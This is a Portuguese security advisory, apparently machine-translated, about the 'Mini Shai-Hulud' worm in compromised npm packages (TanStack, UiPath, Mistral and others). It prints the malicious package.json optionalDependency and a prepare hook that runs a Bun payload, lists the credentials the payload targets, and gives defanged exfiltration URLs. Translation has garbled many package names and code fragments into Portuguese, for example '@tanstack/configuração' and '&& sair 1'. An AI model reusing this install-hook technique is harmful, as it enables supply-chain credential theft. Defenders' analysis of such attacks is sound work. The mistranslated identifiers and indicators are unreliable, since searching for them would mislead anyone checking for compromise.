O Mini Shai-Hulud está de volta. Como já disse, ainda não tínhamos visto a verdadeira dimensão do ataque.
A campanha do npm que abordámos em abril, quando tinha como alvo pacotes SAP, transformou-se agora num ataque de dimensões muito maiores. A nossa equipa de malware detetou 373 entradas maliciosas de versões de pacotes em 169 nomes de pacotes npm.
O objetivo principal continua a ser o mesmo: roubar credenciais dos computadores dos programadores e dos servidores de CI/CD, para depois usar essas credenciais para aceder a mais pacotes.
O que mudou foi a escala e o canal de distribuição. Esta onda não se parece apenas com alguém a publicar manualmente versões maliciosas. O malware foi concebido para ser executado dentro de sistemas de compilação, roubar credenciais de acesso ao npm e ao GitHub e abusar de canais de publicação de confiança para distribuir novos pacotes comprometidos.
Se leu o nosso artigo anterior, «Mini Shai-Hulud ataca pacotes npm da SAP com um programa de roubo de credenciais baseado no Bun», eis a continuação: a mesma ideia, mas com um alcance muito maior.
O Que Aconteceu
O TanStack continua a ser um dos clusters mais visíveis, mas já não é a única opção disponível. O conjunto de pacotes afetados inclui agora @squawk, @tanstack, @uipath, @tallyui, @beproduct, @mistralai, @draftlab, @draftauth, @taskflow-corp, @tolka, e vários pacotes sem âmbito.
Os maiores agrupamentos desta campanha são:
@squawk: 87 entradas de versão de pacote@tanstack: 83 entradas de versão de pacote@uipath: 66 entradas de versão de pacote- pacotes sem âmbito: 39 entradas de pacote-versão
@tallyui: 30 entradas de versão do pacote@beproduct: 18 entradas de versão do pacote
Esta lista continua em evolução. O importante não é apenas o número de pacotes, mas sim onde são executados. É provável que estes pacotes sejam instalados em ambientes de desenvolvimento locais, tarefas de integração contínua (CI), fluxos de trabalho de lançamento e sistemas de compilação internos.
É precisamente aí que secrets estar os tokens do npm, os tokens do GitHub, as credenciais na nuvem, os tokens das contas de serviço do Kubernetes e secrets de implementação.
Pacotes e versões afetados
Lista atual de pacotes e versões identificados pela nossa equipa:
@tanstack/histórico:1.161.9,1.161.12@tanstack/react-router:1.169.5,1.169.8@tanstack/router-core:1.169.5,1.169.8@tanstack/router-utils:1.161.11,1.161.14@tanstack/router-plugin:1.167.38,1.167.41@tanstack/rotas-de-ficheiros-virtuais:1.161.10,1.161.13@tanstack/router-generator:1.166.45,1.166.48@tanstack/iniciar-servidor-principal:1.167.33,1.167.36@tanstack/start-client-core:1.168.5,1.168.8@tanstack/iniciar-contexto-de-armazenamento:1.166.38,1.166.41@tanstack/start-plugin-core:1.169.23,1.169.26@tanstack/react-start-server:1.166.55,1.166.58@tanstack/react-start-client:1.166.51,1.166.54@tanstack/start-fn-stubs:1.161.9,1.161.12@tanstack/react-start:1.167.68,1.167.71@tanstack/react-start-rsc:0.0.47,0.0.50@mistralai/mistralai:2.2.2,2.2.3,2.2.4@tanstack/react-router-devtools:1.166.16,1.166.19@tanstack/router-devtools-core:1.167.6,1.167.9@tanstack/router-devtools:1.166.16,1.166.19@tanstack/router-ssr-query-core:1.168.3,1.168.6@tanstack/react-router-ssr-query:1.166.15,1.166.18@tanstack/router-cli:1.166.46,1.166.49@tanstack/zod-adapter:1.166.12,1.166.15@tanstack/eslint-plugin-router:1.161.9@tanstack/router-vite-plugin:1.166.53,1.166.56@tanstack/nitro-v2-vite-plugin:1.154.12,1.154.15@mistralai/mistralai-gcp:1.7.1,1.7.2,1.7.3@tanstack/solid-router:1.169.5,1.169.8@tanstack/solid-start:1.167.65,1.167.68@tanstack/solid-start-client:1.166.50,1.166.53@tanstack/solid-start-server:1.166.54,1.166.57@tanstack/solid-router-devtools:1.166.16,1.166.19@tanstack/iniciar-funções-do-servidor-estático:1.166.44,1.166.47@tanstack/vue-router:1.169.5,1.169.8@uipath/apollo-react:4.24.5@tanstack/solid-router-ssr-query:1.166.15,1.166.18ação segura:0.8.3,0.8.4@tanstack/valibot-adapter:1.166.12,1.166.15@tanstack/vue-start:1.167.61,1.167.64@uipath/apollo-wind:2.16.2@uipath/cli:1.0.1@tanstack/vue-start-server:1.166.50,1.166.53@squawk/tipos:0.8.2,0.8.3,0.8.4@uipath/rpa-tool:0.9.5@squawk/mcp:0.9.1,0.9.2,0.9.3,0.9.4@tanstack/vue-start-client:1.166.46,1.166.49@squawk/meteo:0.5.6,0.5.7,0.5.8,0.5.9@squawk/espaço aéreo:0.8.1,0.8.2,0.8.3,0.8.4@squawk/dados-do-registo-da-icao:0.8.4,0.8.5,0.8.6,0.8.7@tanstack/arktype-adapter:1.166.12,1.166.15@squawk/plano de voo:0.5.2,0.5.3,0.5.4,0.5.5@squawk/aeroportos:0.6.2,0.6.3,0.6.4,0.6.5@mesadev/sdk:0.28.3@squawk/geo:0.4.4,0.4.5,0.4.6,0.4.7@mesadev/rest:0.28.3@squawk/dados-do-procedimento:0.7.3,0.7.4,0.7.5,0.7.6@squawk/dados-de-ajuda-à-navegação:0.6.4,0.6.5,0.6.6,0.6.7@squawk/corrigir-dados:0.6.4,0.6.5,0.6.6,0.6.7@squawk/ajudas à navegação:0.4.2,0.4.3,0.4.4,0.4.5@squawk/correções:0.3.2,0.3.3,0.3.4,0.3.5@squawk/dados-do-aeroporto:0.7.4,0.7.5,0.7.6,0.7.7@squawk/dados-das-vias-respiratórias:0.5.4,0.5.5,0.5.6,0.5.7@squawk/unidades:0.4.3,0.4.4,0.4.5,0.4.6@squawk/procedimentos:0.5.2,0.5.3,0.5.4,0.5.5@squawk/airways:0.4.2,0.4.3,0.4.4,0.4.5@squawk/registo-icao:0.5.2,0.5.3,0.5.4,0.5.5@uipath/apollo-core:5.9.2@squawk/notams:0.3.6,0.3.7,0.3.8,0.3.9@uipath/sistema de ficheiros:1.0.1@uipath/solutionpackager-tool-core:0.0.34@squawk/matemática-de-voo:0.5.4,0.5.5,0.5.6,0.5.7@squawk/dados-do-espaço-aéreo:0.5.3,0.5.4,0.5.5,0.5.6@mistralai/mistralai-azure:1.7.1,1.7.2,1.7.3@uipath/ferramenta-de-soluções:1.0.1@tanstack/eslint-plugin-start:0.0.4,0.0.7@uipath/maestro-tool:1.0.1@uipath/codedapp-tool:1.0.1@uipath/agent-tool:1.0.1@draftlab/auth:0.24.1,0.24.2@uipath/orchestrator-tool:1.0.1@uipath/integrationservice-tool:1.0.2@taskflow-corp/cli:0.1.24,0.1.25,0.1.26,0.1.27,0.1.28,0.1.29@tanstack/vue-router-ssr-query:1.166.15,1.166.18@uipath/rpa-legacy-tool:1.0.1@uipath/ferramenta-de-soluções-verticais:1.0.1@uipath/flow-tool:1.0.2@uipath/codedagent-tool:1.0.1@uipath/common:1.0.1@uipath/resource-tool:1.0.1@uipath/auth:1.0.1@uipath/docsai-tool:1.0.1@uipath/case-tool:1.0.1@uipath/api-workflow-tool:1.0.1@tanstack/vue-router-devtools:1.166.16,1.166.19@uipath/test-manager-tool:1.0.2@uipath/robot:1.3.4@uipath/traces-tool:1.0.1@uipath/agent-sdk:1.0.2@uipath/integrationservice-sdk:1.0.2@uipath/maestro-sdk:1.0.1@uipath/data-fabric-tool:1.0.2@mesadev/saguaro:0.4.22@uipath/ferramenta-de-tarefas:1.0.1@uipath/insights-tool:1.0.1@uipath/insights-sdk:1.0.1@uipath/uipath-python-bridge:1.0.1@draftlab/db:0.16.1@uipath/ap-chat:1.5.7@uipath/project-packager:1.1.16@uipath/packager-tool-case:0.0.9@uipath/packager-tool-workflowcompiler-browser:0.0.34@uipath/conector-da-ferramenta-de-empacotamento:0.0.19@uipath/packager-tool-workflowcompiler:0.0.16@uipath/packager-tool-webapp:1.0.6@uipath/packager-tool-apiworkflow:0.0.19@uipath/funcionalidades-da-ferramenta-de-empacotamento:0.1.1ADN-ts:3.0.1,3.0.2,3.0.3,3.0.4@uipath/widget.sdk:1.2.3@uipath/recursos-ferramenta:0.1.11@uipath/agent.sdk:0.0.18ponto cruz:1.1.3,1.1.4,1.1.5,1.1.6@uipath/codedagents-tool:0.1.12@uipath/aops-policy-tool:0.3.1@uipath/solution-packager:0.0.35@draftlab/auth-router:0.5.1,0.5.2cmux-agent-mcp:0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8agentwork-cli:0.1.4,0.1.5@uipath/packager-tool-bpmn:0.0.9@draftauth/core:0.13.1,0.13.2@dirigible-ai/sdk:0.6.2,0.6.3@uipath/packager-tool-flow:0.0.19seletor de ramos do Git:1.3.3,1.3.4,1.3.5,1.3.6,1.3.7wot-api:0.8.1,0.8.2,0.8.3,0.8.4git-git-git:1.0.8,1.0.9,1.0.10,1.0.11,1.0.12@beproduct/nestjs-auth:0.1.2,0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8,0.1.9,0.1.10,0.1.11,0.1.12,0.1.13,0.1.14,0.1.15,0.1.16,0.1.17,0.1.18,0.1.19@ml-toolkit-ts/xgboost:1.0.3,1.0.4nextmove-mcp:0.1.3,0.1.4,0.1.5,0.1.6,0.1.7ml-toolkit-ts:1.0.4,1.0.5@uipath/telemetria:0.0.7@draftauth/cliente:0.2.1,0.2.2@ml-toolkit-ts/pré-processamento:1.0.2,1.0.3@tallyui/conector-medusa:1.0.1,1.0.2,1.0.3@uipath/tool-workflowcompiler:0.0.12@uipath/vss:0.1.6@tallyui/tema:0.2.1,0.2.2,0.2.3@tallyui/armazenamento-sqlite:0.2.1,0.2.2,0.2.3@uipath/solutionpackager-sdk:1.0.11@tallyui/connector-vendure:1.0.1,1.0.2,1.0.3@tallyui/core:0.2.1,0.2.2,0.2.3@tallyui/conector-woocommerce:1.0.1,1.0.2,1.0.3@tallyui/componentes:1.0.1,1.0.2,1.0.3@uipath/ui-widgets-multi-file-upload:1.0.1@tallyui/pos:0.1.1,0.1.2,0.1.3@tallyui/base de dados:1.0.1,1.0.2,1.0.3@supersurkhet/cli:0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7@tallyui/conector-shopify:1.0.1,1.0.2,1.0.3@tolka/cli:1.0.2,1.0.3,1.0.4,1.0.5,1.0.6@supersurkhet/sdk:0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7@uipath/ferramenta-de-política-de-acesso:0.3.1@uipath/ferramenta-de-contextualização:0.1.1@uipath/gov-tool:0.3.1@uipath/admin-tool:0.1.1@uipath/identity-tool:0.1.1@uipath/llmgw-tool:1.0.1@uipath/resourcecatalog-tool:0.1.1@uipath/funções-ferramenta:1.0.1@uipath/access-policy-sdk:0.3.1@uipath/ferramenta-da-plataforma:1.0.1
Como funciona a Nova Onda
Na vulnerabilidade SAP, os pacotes comprometidos adicionaram um preinstall gancho que se soltou setup.mjs, que, por sua vez, utilizou o Bun para executar uma grande carga útil ofuscada denominada execution.js.
Esta onda segue um percurso ligeiramente diferente.
Nos pacotes TanStack comprometidos, o arquivo tar do pacote inclui um novo ficheiro ofuscado na raiz do pacote:
router_init.js
O pacote comprometido também adiciona uma dependência opcional que aponta para um pacote alojado no GitHub
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}Essa dependência do Git contém um preparar roteiro:
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}O truque é este: o npm executa scripts de ciclo de vida para dependências do Git durante a instalação. Assim, um pacote que parece uma dependência normal pode aceder discretamente a uma dependência alojada no GitHub e executar o seu preparar gancho e executar a carga útil.
O && sair 1 O final também é interessante. Como a dependência é opcional, uma falha após a execução da carga útil pode fazer com que a instalação pareça menos suspeita. O código malicioso já foi executado quando o npm considera que a dependência opcional falhou.
Por que a publicação fiável é importante neste contexto
Um dos aspetos mais problemáticos desta tendência é o recurso à publicação de confiança.
A publicação confiável tem como objetivo eliminar os tokens npm de longa duração dos fluxos de trabalho de lançamento. Um fluxo de trabalho do GitHub Actions pode utilizar o OIDC para solicitar um token de publicação npm de curta duração, publicar o pacote e associar a proveniência ao lançamento.
Isso é bom quando o fluxo de trabalho é claro.
A situação agrava-se consideravelmente quando é executado código controlado pelo atacante no interior do fluxo de trabalho. Nessa altura, o atacante pode nem precisar de roubar um token npm de longa duração. Pode utilizar as próprias permissões OIDC do fluxo de trabalho para gerar um token de publicação durante a compilação e, a partir daí, proceder à publicação.
Isso também significa que a proveniência não é um indicador de segurança absoluto. Um pacote malicioso pode ainda assim provir do fluxo de trabalho esperado do GitHub Actions, caso esse fluxo de trabalho tenha sido utilizado indevidamente durante o lançamento.
Em linguagem simples: a proveniência permite saber onde o pacote foi compilado. Não prova, porém, que a compilação tenha sido segura.
O que a carga maliciosa tenta roubar
A carga útil foi concebida para ambientes de CI/CD e de desenvolvimento.
Procura:
- Tokens do GitHub
- Tokens do npm
- Tokens OIDC do GitHub Actions
- Credenciais da AWS e metadados da instância
- Ficheiros de contas de serviço do Kubernetes
- Tokens do HashiCorp Vault e pontos de extremidade locais do Vault
- variáveis de ambiente
- secrets do sistema de ficheiros local
A carga útil também contém lógica de propagação. Após roubar os tokens, tenta utilizá-los para identificar pacotes que a vítima possa publicar, alterar arquivos de pacotes, injetar a dependência maliciosa, atualizar versões e publicar novas versões comprometidas.
É isso que torna este malware mais do que um simples ladrão de informações. O malware não se limita a tentar roubar dados da vítima atual. Ele tenta transformar o acesso da vítima à versão lançada na próxima via de infeção.
O que mudou desde o ataque à SAP
A onda da SAP foi menor em termos de número de pacotes, mas teve um impacto significativo, uma vez que afetou as ferramentas de desenvolvimento empresarial.
Esta onda é mais abrangente. Os pacotes TanStack são amplamente utilizados em aplicações JavaScript modernas, especialmente no encaminhamento e nas ferramentas React full-stack. Um pacote comprometido nessa parte da árvore de dependências pode espalhar-se rapidamente por muitos locais.
Existem também algumas alterações técnicas:
- os pacotes SAP utilizados
setup.mjseexecution.js - a nova versão do TanStack utiliza
router_init.jse um repositório alojado no GitHub@tanstack/configuraçãodependência - a nova tendência recorre cada vez mais ao GitHub Actions, ao OIDC, à publicação no npm e à reempacotagem de pacotes
- a carga útil continua a ser baseada em Bun e continua focada no roubo secrets
O padrão é sempre o mesmo: obter acesso à execução de código durante a instalação, roubar credenciais e usar essas credenciais para publicar mais malware.
Detecção e mitigação
Comece pelos ficheiros de bloqueio e pelas caches dos pacotes.
Pesquisar os namespaces e pacotes afetados:
@squawk/@tanstack/@uipath/@tallyui/@beproduct/nestjs-auth@mistralai/@draftauth/@draftlab/@taskflow-corp/cli@tolka/cli@ml-toolkit-ts/@mesadev/@dirigible-ai/sdk@supersurkhet/- pacotes sem escopo listados acima, incluindo
ação segura,ADN-ts,ponto cruz,cmux-agent-mcp,agentwork-cli,seletor de ramos do Git,wot-api,git-git-git,nextmove-mcp, eml-toolkit-ts
Procure os novos ficheiros de carga útil e os marcadores de dependência:
router_init.jsrouter_runtime.jstanstack_runner.js@tanstack/configuraçãogithub:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885cexecutar o ficheiro tanstack_runner.js
Pesquisar nos registos do CI por:
- Execução inesperada do Bun durante
npm install - falhas em dependências opcionais que envolvem
@tanstack/configuração - ligações de saída durante a instalação de dependências
- Atividade de publicação do npm proveniente de fluxos de trabalho que não deveriam ter sido publicados
- Pedidos de token OIDC no GitHub Actions durante etapas inesperadas
Se uma versão de um pacote comprometida tiver sido executada numa máquina de desenvolvimento ou num executor de CI, atualize secrets ambiente. Não se limite apenas aos tokens do npm.
Rodar ou rever:
- Tokens do npm e acesso à publicação de pacotes
- secrets do GitHub PATs e do GitHub Actions
- credenciais na nuvem
- Tokens de contas de serviço do Kubernetes
- Tokens do Vault
- secrets de implementação
Audite também as publicações recentes no npm, as execuções do GitHub Actions e os registos de proveniência. Um registo de proveniência válido não deve ser considerado como prova de que o pacote está isento de problemas.
Indicadores de Comprometimento
Ficheiros e cargas úteis:
router_init.jsrouter_runtime.jstanstack_runner.jsrouter_init.jsSHA-256:ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266ctanstack_runner.jsSHA-256:2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
Marcadores de pacotes:
@tanstack/configuraçãogithub:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885cprepararscript em execuçãoexecutar o ficheiro tanstack_runner.js- ficheiro de carga útil ao nível da raiz incluído fora do conteúdo normal do pacote
Indicadores de rede e de serviço:
hxxp://filev2[.]getsession[.]org/file/hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/hxxp://169[.]254[.]170[.]2hxxps://registry[.]npmjs[.]org/-/npm/v1/tokensvault[.]svc[.]cluster[.]local:8200
Marcadores da campanha:
Apareceu um Mini Shai-Hulud- Nomes de repositórios com temática de «Dune» utilizados para a saída do «worm» e para a preparação
Conclusão
O Mini Shai-Hulud evoluiu de um incidente de menor dimensão centrado no SAP para um ataque mais abrangente à cadeia de abastecimento do npm.
A lição importante não é apenas o facto de terem sido comprometidos mais pacotes. É que o malware foi concebido à medida do funcionamento dos sistemas de lançamento modernos. É executado durante a instalação, procura credenciais de CI/CD, abusa dos percursos de publicação do GitHub e do npm e tenta inserir-se no pacote seguinte.
Se algum dos pacotes afetados tiver sido executado no seu ambiente, considere a máquina ou o executor como estando em risco até que secrets atualizados e a atividade de publicação recente tenha sido analisada.
Como o Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.

